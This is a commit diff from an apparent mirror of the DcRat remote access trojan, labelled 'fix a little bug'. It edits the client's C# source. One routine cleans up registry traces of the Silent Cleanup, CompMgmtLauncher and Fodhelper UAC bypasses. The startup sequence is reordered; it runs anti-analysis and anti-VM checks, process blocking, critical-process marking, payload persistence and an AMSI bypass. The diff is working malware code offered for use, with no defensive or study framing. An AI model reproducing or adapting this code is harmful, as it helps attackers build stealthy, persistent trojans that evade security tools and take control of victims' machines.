mirror of https://github.com/qwqdanchun/DcRat.git
fix a little bug
This commit is contained in:
parent
26cefbac61
commit
ec665ee122
|
@ -103,20 +103,31 @@ namespace Client.Helper
|
|||
|
||||
public static void ClearSetting()
|
||||
{
|
||||
|
||||
//Silent Cleanup
|
||||
RegistryKey key;
|
||||
key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Environment");
|
||||
if (key.GetValue("windir") !=null)
|
||||
try
|
||||
{
|
||||
key.DeleteValue("windir");
|
||||
//Silent Cleanup
|
||||
RegistryKey key;
|
||||
key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Environment");
|
||||
if (key.GetValue("windir") != null)
|
||||
{
|
||||
key.DeleteValue("windir");
|
||||
}
|
||||
|
||||
key.Close();
|
||||
}
|
||||
|
||||
key.Close();
|
||||
//CompMgmtLauncher
|
||||
Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("mscfile");
|
||||
//Fodhelper
|
||||
Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("ms-settings");
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
//CompMgmtLauncher
|
||||
Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("mscfile");
|
||||
}
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
//Fodhelper
|
||||
Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("ms-settings");
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -19,17 +19,18 @@ namespace Client
|
|||
|
||||
try
|
||||
{
|
||||
if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
|
||||
AntiProcess.StartBlock();
|
||||
if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment
|
||||
Anti_Analysis.RunAntiAnalysis();
|
||||
if (!MutexControl.CreateMutex()) //if current payload is a duplicate
|
||||
Environment.Exit(0);
|
||||
if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
|
||||
AntiProcess.StartBlock();
|
||||
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process
|
||||
ProcessCritical.Set();
|
||||
if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence]
|
||||
NormalStartup.Install();
|
||||
Methods.PreventSleep(); //prevent pc to idle\sleep
|
||||
if (!MutexControl.CreateMutex()) //if current payload is a duplicate
|
||||
Environment.Exit(0);
|
||||
|
||||
if (Methods.IsAdmin())
|
||||
Methods.ClearSetting();
|
||||
Amsi.Bypass();
|
||||
|
|
Loading…
Reference in New Issue